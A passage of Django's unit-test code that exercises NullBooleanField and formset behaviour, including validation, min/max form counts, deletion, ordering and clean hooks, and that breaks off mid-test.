            hidden_nullbool2 = NullBooleanField(widget=HiddenInput, initial=False)
        f = HiddenNullBooleanForm({'hidden_nullbool1': 'True', 'hidden_nullbool2': 'False'})
        self.assertIsNone(f.full_clean())
        self.assertTrue(f.cleaned_data['hidden_nullbool1'])
        self.assertFalse(f.cleaned_data['hidden_nullbool2'])

    def test_nullbooleanfield_4(self):
        # Make sure we're compatible with MySQL, which uses 0 and 1 for its
        # boolean values (#9609).
        NULLBOOL_CHOICES = (('1', 'Yes'), ('0', 'No'), ('', 'Unknown'))

        class MySQLNullBooleanForm(Form):
            nullbool0 = NullBooleanField(widget=RadioSelect(choices=NULLBOOL_CHOICES))
            nullbool1 = NullBooleanField(widget=RadioSelect(choices=NULLBOOL_CHOICES))
            nullbool2 = NullBooleanField(widget=RadioSelect(choices=NULLBOOL_CHOICES))
        f = MySQLNullBooleanForm({'nullbool0': '1', 'nullbool1': '0', 'nullbool2': ''})
        self.assertIsNone(f.full_clean())
        self.assertTrue(f.cleaned_data['nullbool0'])
        self.assertFalse(f.cleaned_data['nullbool1'])
        self.assertIsNone(f.cleaned_data['nullbool2'])

    def test_nullbooleanfield_changed(self):
        f = NullBooleanField()
        self.assertTrue(f.has_changed(False, None))
        self.assertTrue(f.has_changed(None, False))
        self.assertFalse(f.has_changed(None, None))
        self.assertFalse(f.has_changed(False, False))
        self.assertTrue(f.has_changed(True, False))
        self.assertTrue(f.has_changed(True, None))
        self.assertTrue(f.has_changed(True, False))
        # HiddenInput widget sends string values for boolean but doesn't clean them in value_from_datadict
        self.assertFalse(f.has_changed(False, 'False'))
        self.assertFalse(f.has_changed(True, 'True'))
        self.assertFalse(f.has_changed(None, ''))
        self.assertTrue(f.has_changed(False, 'True'))
        self.assertTrue(f.has_changed(True, 'False'))
        self.assertTrue(f.has_changed(None, 'False'))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime

from django.forms import (
    CharField, DateField, FileField, Form, IntegerField, SplitDateTimeField,
    ValidationError, formsets,
)
from django.forms.formsets import BaseFormSet, formset_factory
from django.forms.utils import ErrorList
from django.test import SimpleTestCase
from django.utils.encoding import force_text


class Choice(Form):
    choice = CharField()
    votes = IntegerField()


# FormSet allows us to use multiple instance of the same form on 1 page. For now,
# the best way to create a FormSet is by using the formset_factory function.
ChoiceFormSet = formset_factory(Choice)


class FavoriteDrinkForm(Form):
    name = CharField()


class BaseFavoriteDrinksFormSet(BaseFormSet):
    def clean(self):
        seen_drinks = []

        for drink in self.cleaned_data:
            if drink['name'] in seen_drinks:
                raise ValidationError('You may only specify a drink once.')

            seen_drinks.append(drink['name'])


class EmptyFsetWontValidate(BaseFormSet):
    def clean(self):
        raise ValidationError("Clean method called")


# Let's define a FormSet that takes a list of favorite drinks, but raises an
# error if there are any duplicates. Used in ``test_clean_hook``,
# ``test_regression_6926`` & ``test_regression_12878``.
FavoriteDrinksFormSet = formset_factory(FavoriteDrinkForm, formset=BaseFavoriteDrinksFormSet, extra=3)


# Used in ``test_formset_splitdatetimefield``.
class SplitDateTimeForm(Form):
    when = SplitDateTimeField(initial=datetime.datetime.now)

SplitDateTimeFormSet = formset_factory(SplitDateTimeForm)


class CustomKwargForm(Form):
    def __init__(self, *args, **kwargs):
        self.custom_kwarg = kwargs.pop('custom_kwarg')
        super(CustomKwargForm, self).__init__(*args, **kwargs)


class FormsFormsetTestCase(SimpleTestCase):

    def make_choiceformset(
            self, formset_data=None, formset_class=ChoiceFormSet,
            total_forms=None, initial_forms=0, max_num_forms=0, min_num_forms=0, **kwargs):
        """
        Make a ChoiceFormset from the given formset_data.
        The data should be given as a list of (choice, votes) tuples.
        """
        kwargs.setdefault('prefix', 'choices')
        kwargs.setdefault('auto_id', False)

        if formset_data is None:
            return formset_class(**kwargs)

        if total_forms is None:
            total_forms = len(formset_data)

        def prefixed(*args):
            args = (kwargs['prefix'],) + args
            return '-'.join(args)

        data = {
            prefixed('TOTAL_FORMS'): str(total_forms),
            prefixed('INITIAL_FORMS'): str(initial_forms),
            prefixed('MAX_NUM_FORMS'): str(max_num_forms),
            prefixed('MIN_NUM_FORMS'): str(min_num_forms),
        }
        for i, (choice, votes) in enumerate(formset_data):
            data[prefixed(str(i), 'choice')] = choice
            data[prefixed(str(i), 'votes')] = votes

        return formset_class(data, **kwargs)

    def test_basic_formset(self):
        # A FormSet constructor takes the same arguments as Form. Let's create a FormSet
        # for adding data. By default, it displays 1 blank form. It can display more,
        # but we'll look at how to do so later.
        formset = self.make_choiceformset()
        self.assertHTMLEqual(
            str(formset),
            """<input type="hidden" name="choices-TOTAL_FORMS" value="1" />
<input type="hidden" name="choices-INITIAL_FORMS" value="0" />
<input type="hidden" name="choices-MIN_NUM_FORMS" value="0" />
<input type="hidden" name="choices-MAX_NUM_FORMS" value="1000" />
<tr><th>Choice:</th><td><input type="text" name="choices-0-choice" /></td></tr>
<tr><th>Votes:</th><td><input type="number" name="choices-0-votes" /></td></tr>"""
        )

        # We treat FormSet pretty much like we would treat a normal Form. FormSet has an
        # is_valid method, and a cleaned_data or errors attribute depending on whether all
        # the forms passed validation. However, unlike a Form instance, cleaned_data and
        # errors will be a list of dicts rather than just a single dict.

        formset = self.make_choiceformset([('Calexico', '100')])
        self.assertTrue(formset.is_valid())
        self.assertEqual([form.cleaned_data for form in formset.forms], [{'votes': 100, 'choice': 'Calexico'}])

        # If a FormSet was not passed any data, its is_valid and has_changed
        # methods should return False.
        formset = self.make_choiceformset()
        self.assertFalse(formset.is_valid())
        self.assertFalse(formset.has_changed())

    def test_form_kwargs_formset(self):
        """
        Test that custom kwargs set on the formset instance are passed to the
        underlying forms.
        """
        FormSet = formset_factory(CustomKwargForm, extra=2)
        formset = FormSet(form_kwargs={'custom_kwarg': 1})
        for form in formset:
            self.assertTrue(hasattr(form, 'custom_kwarg'))
            self.assertEqual(form.custom_kwarg, 1)

    def test_form_kwargs_formset_dynamic(self):
        """
        Test that form kwargs can be passed dynamically in a formset.
        """
        class DynamicBaseFormSet(BaseFormSet):
            def get_form_kwargs(self, index):
                return {'custom_kwarg': index}

        DynamicFormSet = formset_factory(CustomKwargForm, formset=DynamicBaseFormSet, extra=2)
        formset = DynamicFormSet(form_kwargs={'custom_kwarg': 'ignored'})
        for i, form in enumerate(formset):
            self.assertTrue(hasattr(form, 'custom_kwarg'))
            self.assertEqual(form.custom_kwarg, i)

    def test_form_kwargs_empty_form(self):
        FormSet = formset_factory(CustomKwargForm)
        formset = FormSet(form_kwargs={'custom_kwarg': 1})
        self.assertTrue(hasattr(formset.empty_form, 'custom_kwarg'))
        self.assertEqual(formset.empty_form.custom_kwarg, 1)

    def test_formset_validation(self):
        # FormSet instances can also have an error attribute if validation failed for
        # any of the forms.
        formset = self.make_choiceformset([('Calexico', '')])
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.errors, [{'votes': ['This field is required.']}])

    def test_formset_has_changed(self):
        # FormSet instances has_changed method will be True if any data is
        # passed to his forms, even if the formset didn't validate
        blank_formset = self.make_choiceformset([('', '')])
        self.assertFalse(blank_formset.has_changed())

        # invalid formset test
        invalid_formset = self.make_choiceformset([('Calexico', '')])
        self.assertFalse(invalid_formset.is_valid())
        self.assertTrue(invalid_formset.has_changed())

        # valid formset test
        valid_formset = self.make_choiceformset([('Calexico', '100')])
        self.assertTrue(valid_formset.is_valid())
        self.assertTrue(valid_formset.has_changed())

    def test_formset_initial_data(self):
        # We can also prefill a FormSet with existing data by providing an ``initial``
        # argument to the constructor. ``initial`` should be a list of dicts. By default,
        # an extra blank form is included.

        initial = [{'choice': 'Calexico', 'votes': 100}]
        formset = self.make_choiceformset(initial=initial)
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></li>
<li>Votes: <input type="number" name="choices-0-votes" value="100" /></li>
<li>Choice: <input type="text" name="choices-1-choice" /></li>
<li>Votes: <input type="number" name="choices-1-votes" /></li>"""
        )

        # Let's simulate what would happen if we submitted this form.
        formset = self.make_choiceformset([('Calexico', '100'), ('', '')], initial_forms=1)
        self.assertTrue(formset.is_valid())
        self.assertEqual([form.cleaned_data for form in formset.forms], [{'votes': 100, 'choice': 'Calexico'}, {}])

    def test_second_form_partially_filled(self):
        # But the second form was blank! Shouldn't we get some errors? No. If we display
        # a form as blank, it's ok for it to be submitted as blank. If we fill out even
        # one of the fields of a blank form though, it will be validated. We may want to
        # required that at least x number of forms are completed, but we'll show how to
        # handle that later.
        formset = self.make_choiceformset([('Calexico', '100'), ('The Decemberists', '')], initial_forms=1)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.errors, [{}, {'votes': ['This field is required.']}])

    def test_delete_prefilled_data(self):
        # If we delete data that was pre-filled, we should get an error. Simply removing
        # data from form fields isn't the proper way to delete it. We'll see how to
        # handle that case later.
        formset = self.make_choiceformset([('', ''), ('', '')], initial_forms=1)
        self.assertFalse(formset.is_valid())
        self.assertEqual(
            formset.errors,
            [{'votes': ['This field is required.'], 'choice': ['This field is required.']}, {}]
        )

    def test_displaying_more_than_one_blank_form(self):
        # Displaying more than 1 blank form ###########################################
        # We can also display more than 1 empty form at a time. To do so, pass a
        # extra argument to formset_factory.
        ChoiceFormSet = formset_factory(Choice, extra=3)

        formset = ChoiceFormSet(auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" /></li>
<li>Votes: <input type="number" name="choices-0-votes" /></li>
<li>Choice: <input type="text" name="choices-1-choice" /></li>
<li>Votes: <input type="number" name="choices-1-votes" /></li>
<li>Choice: <input type="text" name="choices-2-choice" /></li>
<li>Votes: <input type="number" name="choices-2-votes" /></li>"""
        )

        # Since we displayed every form as blank, we will also accept them back as blank.
        # This may seem a little strange, but later we will show how to require a minimum
        # number of forms to be completed.

        data = {
            'choices-TOTAL_FORMS': '3',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': '',
            'choices-0-votes': '',
            'choices-1-choice': '',
            'choices-1-votes': '',
            'choices-2-choice': '',
            'choices-2-votes': '',
        }

        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        self.assertEqual([form.cleaned_data for form in formset.forms], [{}, {}, {}])

    def test_min_num_displaying_more_than_one_blank_form(self):
        # We can also display more than 1 empty form passing min_num argument
        # to formset_factory. It will (essentially) increment the extra argument
        ChoiceFormSet = formset_factory(Choice, extra=1, min_num=1)

        formset = ChoiceFormSet(auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        # Min_num forms are required; extra forms can be empty.
        self.assertFalse(formset.forms[0].empty_permitted)
        self.assertTrue(formset.forms[1].empty_permitted)

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" /></li>
<li>Votes: <input type="number" name="choices-0-votes" /></li>
<li>Choice: <input type="text" name="choices-1-choice" /></li>
<li>Votes: <input type="number" name="choices-1-votes" /></li>"""
        )

    def test_min_num_displaying_more_than_one_blank_form_with_zero_extra(self):
        # We can also display more than 1 empty form passing min_num argument
        ChoiceFormSet = formset_factory(Choice, extra=0, min_num=3)

        formset = ChoiceFormSet(auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" /></li>
<li>Votes: <input type="number" name="choices-0-votes" /></li>
<li>Choice: <input type="text" name="choices-1-choice" /></li>
<li>Votes: <input type="number" name="choices-1-votes" /></li>
<li>Choice: <input type="text" name="choices-2-choice" /></li>
<li>Votes: <input type="number" name="choices-2-votes" /></li>"""
        )

    def test_single_form_completed(self):
        # We can just fill out one of the forms.

        data = {
            'choices-TOTAL_FORMS': '3',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
            'choices-1-choice': '',
            'choices-1-votes': '',
            'choices-2-choice': '',
            'choices-2-votes': '',
        }

        ChoiceFormSet = formset_factory(Choice, extra=3)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        self.assertEqual([form.cleaned_data for form in formset.forms], [{'votes': 100, 'choice': 'Calexico'}, {}, {}])

    def test_formset_validate_max_flag(self):
        # If validate_max is set and max_num is less than TOTAL_FORMS in the
        # data, then throw an exception. MAX_NUM_FORMS in the data is
        # irrelevant here (it's output as a hint for the client but its
        # value in the returned data is not checked)

        data = {
            'choices-TOTAL_FORMS': '2',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '2',  # max number of forms - should be ignored
            'choices-0-choice': 'Zero',
            'choices-0-votes': '0',
            'choices-1-choice': 'One',
            'choices-1-votes': '1',
        }

        ChoiceFormSet = formset_factory(Choice, extra=1, max_num=1, validate_max=True)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), ['Please submit 1 or fewer forms.'])

    def test_formset_validate_min_flag(self):
        # If validate_min is set and min_num is more than TOTAL_FORMS in the
        # data, then throw an exception. MIN_NUM_FORMS in the data is
        # irrelevant here (it's output as a hint for the client but its
        # value in the returned data is not checked)

        data = {
            'choices-TOTAL_FORMS': '2',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms - should be ignored
            'choices-0-choice': 'Zero',
            'choices-0-votes': '0',
            'choices-1-choice': 'One',
            'choices-1-votes': '1',
        }

        ChoiceFormSet = formset_factory(Choice, extra=1, min_num=3, validate_min=True)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), ['Please submit 3 or more forms.'])

    def test_formset_validate_min_excludes_empty_forms(self):
        data = {
            'choices-TOTAL_FORMS': '2',
            'choices-INITIAL_FORMS': '0',
        }
        ChoiceFormSet = formset_factory(Choice, extra=2, min_num=1, validate_min=True, can_delete=True)
        formset = ChoiceFormSet(data, prefix='choices')
        self.assertFalse(formset.has_changed())
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), ['Please submit 1 or more forms.'])

    def test_second_form_partially_filled_2(self):
        # And once again, if we try to partially complete a form, validation will fail.

        data = {
            'choices-TOTAL_FORMS': '3',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
            'choices-1-choice': 'The Decemberists',
            'choices-1-votes': '',  # missing value
            'choices-2-choice': '',
            'choices-2-votes': '',
        }

        ChoiceFormSet = formset_factory(Choice, extra=3)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.errors, [{}, {'votes': ['This field is required.']}, {}])

    def test_more_initial_data(self):
        # The extra argument also works when the formset is pre-filled with initial
        # data.
        initial = [{'choice': 'Calexico', 'votes': 100}]
        ChoiceFormSet = formset_factory(Choice, extra=3)
        formset = ChoiceFormSet(initial=initial, auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></li>
<li>Votes: <input type="number" name="choices-0-votes" value="100" /></li>
<li>Choice: <input type="text" name="choices-1-choice" /></li>
<li>Votes: <input type="number" name="choices-1-votes" /></li>
<li>Choice: <input type="text" name="choices-2-choice" /></li>
<li>Votes: <input type="number" name="choices-2-votes" /></li>
<li>Choice: <input type="text" name="choices-3-choice" /></li>
<li>Votes: <input type="number" name="choices-3-votes" /></li>"""
        )

        # Make sure retrieving an empty form works, and it shows up in the form list

        self.assertTrue(formset.empty_form.empty_permitted)
        self.assertHTMLEqual(
            formset.empty_form.as_ul(),
            """<li>Choice: <input type="text" name="choices-__prefix__-choice" /></li>
<li>Votes: <input type="number" name="choices-__prefix__-votes" /></li>"""
        )

    def test_formset_with_deletion(self):
        # FormSets with deletion ######################################################
        # We can easily add deletion ability to a FormSet with an argument to
        # formset_factory. This will add a boolean field to each form instance. When
        # that boolean field is True, the form will be in formset.deleted_forms

        ChoiceFormSet = formset_factory(Choice, can_delete=True)

        initial = [{'choice': 'Calexico', 'votes': 100}, {'choice': 'Fergie', 'votes': 900}]
        formset = ChoiceFormSet(initial=initial, auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></li>
<li>Votes: <input type="number" name="choices-0-votes" value="100" /></li>
<li>Delete: <input type="checkbox" name="choices-0-DELETE" /></li>
<li>Choice: <input type="text" name="choices-1-choice" value="Fergie" /></li>
<li>Votes: <input type="number" name="choices-1-votes" value="900" /></li>
<li>Delete: <input type="checkbox" name="choices-1-DELETE" /></li>
<li>Choice: <input type="text" name="choices-2-choice" /></li>
<li>Votes: <input type="number" name="choices-2-votes" /></li>
<li>Delete: <input type="checkbox" name="choices-2-DELETE" /></li>"""
        )

        # To delete something, we just need to set that form's special delete field to
        # 'on'. Let's go ahead and delete Fergie.

        data = {
            'choices-TOTAL_FORMS': '3',  # the number of forms rendered
            'choices-INITIAL_FORMS': '2',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
            'choices-0-DELETE': '',
            'choices-1-choice': 'Fergie',
            'choices-1-votes': '900',
            'choices-1-DELETE': 'on',
            'choices-2-choice': '',
            'choices-2-votes': '',
            'choices-2-DELETE': '',
        }

        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        self.assertEqual(
            [form.cleaned_data for form in formset.forms],
            [
                {'votes': 100, 'DELETE': False, 'choice': 'Calexico'},
                {'votes': 900, 'DELETE': True, 'choice': 'Fergie'},
                {},
            ]
        )
        self.assertEqual(
            [form.cleaned_data for form in formset.deleted_forms],
            [{'votes': 900, 'DELETE': True, 'choice': 'Fergie'}]
        )

        # If we fill a form with something and then we check the can_delete checkbox for
        # that form, that form's errors should not make the entire formset invalid since
        # it's going to be deleted.

        class CheckForm(Form):
            field = IntegerField(min_value=100)

        data = {
            'check-TOTAL_FORMS': '3',  # the number of forms rendered
            'check-INITIAL_FORMS': '2',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'check-MAX_NUM_FORMS': '0',  # max number of forms
            'check-0-field': '200',
            'check-0-DELETE': '',
            'check-1-field': '50',
            'check-1-DELETE': 'on',
            'check-2-field': '',
            'check-2-DELETE': '',
        }
        CheckFormSet = formset_factory(CheckForm, can_delete=True)
        formset = CheckFormSet(data, prefix='check')
        self.assertTrue(formset.is_valid())

        # If we remove the deletion flag now we will have our validation back.
        data['check-1-DELETE'] = ''
        formset = CheckFormSet(data, prefix='check')
        self.assertFalse(formset.is_valid())

        # Should be able to get deleted_forms from a valid formset even if a
        # deleted form would have been invalid.

        class Person(Form):
            name = CharField()

        PeopleForm = formset_factory(
            form=Person,
            can_delete=True)

        p = PeopleForm(
            {'form-0-name': '', 'form-0-DELETE': 'on',  # no name!
             'form-TOTAL_FORMS': 1, 'form-INITIAL_FORMS': 1,
             'form-MIN_NUM_FORMS': 0, 'form-MAX_NUM_FORMS': 1})

        self.assertTrue(p.is_valid())
        self.assertEqual(len(p.deleted_forms), 1)

    def test_formsets_with_ordering(self):
        # FormSets with ordering ######################################################
        # We can also add ordering ability to a FormSet with an argument to
        # formset_factory. This will add an integer field to each form instance. When
        # form validation succeeds, [form.cleaned_data for form in formset.forms] will have the data in the correct
        # order specified by the ordering fields. If a number is duplicated in the set
        # of ordering fields, for instance form 0 and form 3 are both marked as 1, then
        # the form index used as a secondary ordering criteria. In order to put
        # something at the front of the list, you'd need to set it's order to 0.

        ChoiceFormSet = formset_factory(Choice, can_order=True)

        initial = [{'choice': 'Calexico', 'votes': 100}, {'choice': 'Fergie', 'votes': 900}]
        formset = ChoiceFormSet(initial=initial, auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></li>
<li>Votes: <input type="number" name="choices-0-votes" value="100" /></li>
<li>Order: <input type="number" name="choices-0-ORDER" value="1" /></li>
<li>Choice: <input type="text" name="choices-1-choice" value="Fergie" /></li>
<li>Votes: <input type="number" name="choices-1-votes" value="900" /></li>
<li>Order: <input type="number" name="choices-1-ORDER" value="2" /></li>
<li>Choice: <input type="text" name="choices-2-choice" /></li>
<li>Votes: <input type="number" name="choices-2-votes" /></li>
<li>Order: <input type="number" name="choices-2-ORDER" /></li>"""
        )

        data = {
            'choices-TOTAL_FORMS': '3',  # the number of forms rendered
            'choices-INITIAL_FORMS': '2',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
            'choices-0-ORDER': '1',
            'choices-1-choice': 'Fergie',
            'choices-1-votes': '900',
            'choices-1-ORDER': '2',
            'choices-2-choice': 'The Decemberists',
            'choices-2-votes': '500',
            'choices-2-ORDER': '0',
        }

        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        form_output = []

        for form in formset.ordered_forms:
            form_output.append(form.cleaned_data)

        self.assertEqual(form_output, [
            {'votes': 500, 'ORDER': 0, 'choice': 'The Decemberists'},
            {'votes': 100, 'ORDER': 1, 'choice': 'Calexico'},
            {'votes': 900, 'ORDER': 2, 'choice': 'Fergie'},
        ])

    def test_empty_ordered_fields(self):
        # Ordering fields are allowed to be left blank, and if they *are* left blank,
        # they will be sorted below everything else.

        data = {
            'choices-TOTAL_FORMS': '4',  # the number of forms rendered
            'choices-INITIAL_FORMS': '3',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
            'choices-0-ORDER': '1',
            'choices-1-choice': 'Fergie',
            'choices-1-votes': '900',
            'choices-1-ORDER': '2',
            'choices-2-choice': 'The Decemberists',
            'choices-2-votes': '500',
            'choices-2-ORDER': '',
            'choices-3-choice': 'Basia Bulat',
            'choices-3-votes': '50',
            'choices-3-ORDER': '',
        }

        ChoiceFormSet = formset_factory(Choice, can_order=True)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        form_output = []

        for form in formset.ordered_forms:
            form_output.append(form.cleaned_data)

        self.assertEqual(form_output, [
            {'votes': 100, 'ORDER': 1, 'choice': 'Calexico'},
            {'votes': 900, 'ORDER': 2, 'choice': 'Fergie'},
            {'votes': 500, 'ORDER': None, 'choice': 'The Decemberists'},
            {'votes': 50, 'ORDER': None, 'choice': 'Basia Bulat'},
        ])

    def test_ordering_blank_fieldsets(self):
        # Ordering should work with blank fieldsets.

        data = {
            'choices-TOTAL_FORMS': '3',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
        }

        ChoiceFormSet = formset_factory(Choice, can_order=True)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        form_output = []

        for form in formset.ordered_forms:
            form_output.append(form.cleaned_data)

        self.assertEqual(form_output, [])

    def test_formset_with_ordering_and_deletion(self):
        # FormSets with ordering + deletion ###########################################
        # Let's try throwing ordering and deletion into the same form.

        ChoiceFormSet = formset_factory(Choice, can_order=True, can_delete=True)

        initial = [
            {'choice': 'Calexico', 'votes': 100},
            {'choice': 'Fergie', 'votes': 900},
            {'choice': 'The Decemberists', 'votes': 500},
        ]
        formset = ChoiceFormSet(initial=initial, auto_id=False, prefix='choices')
        form_output = []

        for form in formset.forms:
            form_output.append(form.as_ul())

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<li>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></li>
<li>Votes: <input type="number" name="choices-0-votes" value="100" /></li>
<li>Order: <input type="number" name="choices-0-ORDER" value="1" /></li>
<li>Delete: <input type="checkbox" name="choices-0-DELETE" /></li>
<li>Choice: <input type="text" name="choices-1-choice" value="Fergie" /></li>
<li>Votes: <input type="number" name="choices-1-votes" value="900" /></li>
<li>Order: <input type="number" name="choices-1-ORDER" value="2" /></li>
<li>Delete: <input type="checkbox" name="choices-1-DELETE" /></li>
<li>Choice: <input type="text" name="choices-2-choice" value="The Decemberists" /></li>
<li>Votes: <input type="number" name="choices-2-votes" value="500" /></li>
<li>Order: <input type="number" name="choices-2-ORDER" value="3" /></li>
<li>Delete: <input type="checkbox" name="choices-2-DELETE" /></li>
<li>Choice: <input type="text" name="choices-3-choice" /></li>
<li>Votes: <input type="number" name="choices-3-votes" /></li>
<li>Order: <input type="number" name="choices-3-ORDER" /></li>
<li>Delete: <input type="checkbox" name="choices-3-DELETE" /></li>"""
        )

        # Let's delete Fergie, and put The Decemberists ahead of Calexico.

        data = {
            'choices-TOTAL_FORMS': '4',  # the number of forms rendered
            'choices-INITIAL_FORMS': '3',  # the number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
            'choices-0-ORDER': '1',
            'choices-0-DELETE': '',
            'choices-1-choice': 'Fergie',
            'choices-1-votes': '900',
            'choices-1-ORDER': '2',
            'choices-1-DELETE': 'on',
            'choices-2-choice': 'The Decemberists',
            'choices-2-votes': '500',
            'choices-2-ORDER': '0',
            'choices-2-DELETE': '',
            'choices-3-choice': '',
            'choices-3-votes': '',
            'choices-3-ORDER': '',
            'choices-3-DELETE': '',
        }

        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        form_output = []

        for form in formset.ordered_forms:
            form_output.append(form.cleaned_data)

        self.assertEqual(form_output, [
            {'votes': 500, 'DELETE': False, 'ORDER': 0, 'choice': 'The Decemberists'},
            {'votes': 100, 'DELETE': False, 'ORDER': 1, 'choice': 'Calexico'},
        ])
        self.assertEqual(
            [form.cleaned_data for form in formset.deleted_forms],
            [{'votes': 900, 'DELETE': True, 'ORDER': 2, 'choice': 'Fergie'}]
        )

    def test_invalid_deleted_form_with_ordering(self):
        # Should be able to get ordered forms from a valid formset even if a
        # deleted form would have been invalid.

        class Person(Form):
            name = CharField()

        PeopleForm = formset_factory(form=Person, can_delete=True, can_order=True)

        p = PeopleForm({
            'form-0-name': '',
            'form-0-DELETE': 'on',  # no name!
            'form-TOTAL_FORMS': 1,
            'form-INITIAL_FORMS': 1,
            'form-MIN_NUM_FORMS': 0,
            'form-MAX_NUM_FORMS': 1
        })

        self.assertTrue(p.is_valid())
        self.assertEqual(p.ordered_forms, [])

    def test_clean_hook(self):
        # FormSet clean hook ##########################################################
        # FormSets have a hook for doing extra validation that shouldn't be tied to any
        # particular form. It follows the same pattern as the clean hook on Forms.

        # We start out with a some duplicate data.

        data = {
            'drinks-TOTAL_FORMS': '2',  # the number of forms rendered
            'drinks-INITIAL_FORMS': '0',  # the number of forms with initial data
            'drinks-MIN_NUM_FORMS': '0',  # min number of forms
            'drinks-MAX_NUM_FORMS': '0',  # max number of forms
            'drinks-0-name': 'Gin and Tonic',
            'drinks-1-name': 'Gin and Tonic',
        }

        formset = FavoriteDrinksFormSet(data, prefix='drinks')
        self.assertFalse(formset.is_valid())

        # Any errors raised by formset.clean() are available via the
        # formset.non_form_errors() method.

        for error in formset.non_form_errors():
            self.assertEqual(str(error), 'You may only specify a drink once.')

        # Make sure we didn't break the valid case.

        data = {
            'drinks-TOTAL_FORMS': '2',  # the number of forms rendered
            'drinks-INITIAL_FORMS': '0',  # the number of forms with initial data
            'drinks-MIN_NUM_FORMS': '0',  # min number of forms
            'drinks-MAX_NUM_FORMS': '0',  # max number of forms
            'drinks-0-name': 'Gin and Tonic',
            'drinks-1-name': 'Bloody Mary',
        }

        formset = FavoriteDrinksFormSet(data, prefix='drinks')
        self.assertTrue(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), [])

    def test_limiting_max_forms(self):
        # Limiting the maximum number of forms ########################################
        # Base case for max_num.

        # When not passed, max_num will take a high default value, leaving the
        # number of forms only controlled by the value of the extra parameter.

        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=3)
        formset = LimitedFavoriteDrinkFormSet()
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertHTMLEqual(
            '\n'.join(form_output),
